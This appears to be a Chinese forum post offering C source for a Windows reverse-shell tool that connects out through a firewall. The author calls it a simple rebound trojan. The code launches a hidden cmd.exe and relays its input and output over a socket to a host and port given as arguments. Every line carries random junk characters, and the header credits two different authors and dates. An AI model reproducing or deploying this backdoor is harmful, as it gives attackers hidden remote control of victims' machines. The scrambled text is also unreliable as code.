这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |T|m5V'l
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/* ============================== +K1M&(
Rebound port in Windows NT :0r,.)
By wind,2006/7 #d@wjQ0DW
===============================*/ Ol>q(-ea
#include U!(.i1^n
#include 5s[nE\oaG
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#pragma comment(lib,"wsock32.lib") i1B!oZ3q
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void OutputShell(); 7_I83$p'
SOCKET sClient; Ek L2nI
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; w5%Yi{
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void main(int argc,char **argv) ab6I*DbF
{ $%~JG(
WSADATA stWsaData; zgwez$
int nRet; v6*0@/L
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SOCKADDR_IN stSaiClient,stSaiServer; >&(#p@#
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if(argc != 3) : "85w#r
{ C8-7XQ=B:b
printf("Useage:\n\rRebound DestIP DestPort\n"); 3k1e
return; JIyS e:p3
} fp [gKRSF
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9nG^_.}|
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i=gZ8Q=H
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stSaiClient.sin_family = AF_INET; tAv3+
stSaiClient.sin_port = htons(0); QHNyH
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1&dtq,|N
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [M\ an6h6O
{ hN3FH#YO
printf("Bind Socket Failed!\n"); +bznKy!
return; ^QS`H@+Z
} 2z-Nw <bA
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stSaiServer.sin_family = AF_INET; DPI[~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); L8`v
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); x%EGxs;>^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %YR&>j
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{ \W*L9azr
printf("Connect Error!"); Rl ]x:
return; !6(3Y
} ,6>3aD1w~q
OutputShell(); `p()ko
} b? );
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void OutputShell() \;&;K'
{ p":u]Xgb
char szBuff[1024]; CTNL->
SECURITY_ATTRIBUTES stSecurityAttributes; ,U\s89
OSVERSIONINFO stOsversionInfo; zH]oAu=H
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e0P[,e*0
STARTUPINFO stStartupInfo; q/b+V)V
char *szShell; IhNX~Jg'^
PROCESS_INFORMATION stProcessInformation; 5MnP6(3$
unsigned long lBytesRead; l 2Sar1~1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (h0@;@@7hW
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); A)U"F&tvm
stSecurityAttributes.lpSecurityDescriptor = 0; +YvF+E
stSecurityAttributes.bInheritHandle = TRUE; #tV1?q
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =o9s?vOJ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s;vt2>;q+e
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^77W#{ Zs
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VEgtN}
stStartupInfo.wShowWindow = SW_HIDE; ,8 4|qI
stStartupInfo.hStdInput = hReadPipe; nqy*>X`
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; lx+;<la
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GetVersionEx(&stOsversionInfo); ;oOTL'Vu
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switch(stOsversionInfo.dwPlatformId) ?,pwYT0g
{ q=X<QhK
case 1: "KIY+7@S}
szShell = "command.com"; hju^x8
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break; Fe!MA
default: 8$}<4 `39
szShell = "cmd.exe"; NVM_.vL
break; Y+"1'W
} C!+D]7\j
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Jinh#iar
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send(sClient,szMsg,77,0); V;: k-
while(1) .b";7}9{
{ MN<LZC%$
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eke[{%L
if(lBytesRead) +
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{ i6#*y!3{
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); SMZ*30i
send(sClient,szBuff,lBytesRead,0); p :xyy*I
} 2PQBUq
else '/I`dj
{ ')q0VaohC
lBytesRead=recv(sClient,szBuff,1024,0); NZ1B#PG,c
if(lBytesRead<=0) break; {bXN[=j
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *ak0(yLn)
} -9dZT
} RW&o3_Ua
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return; *F( qg%1+
}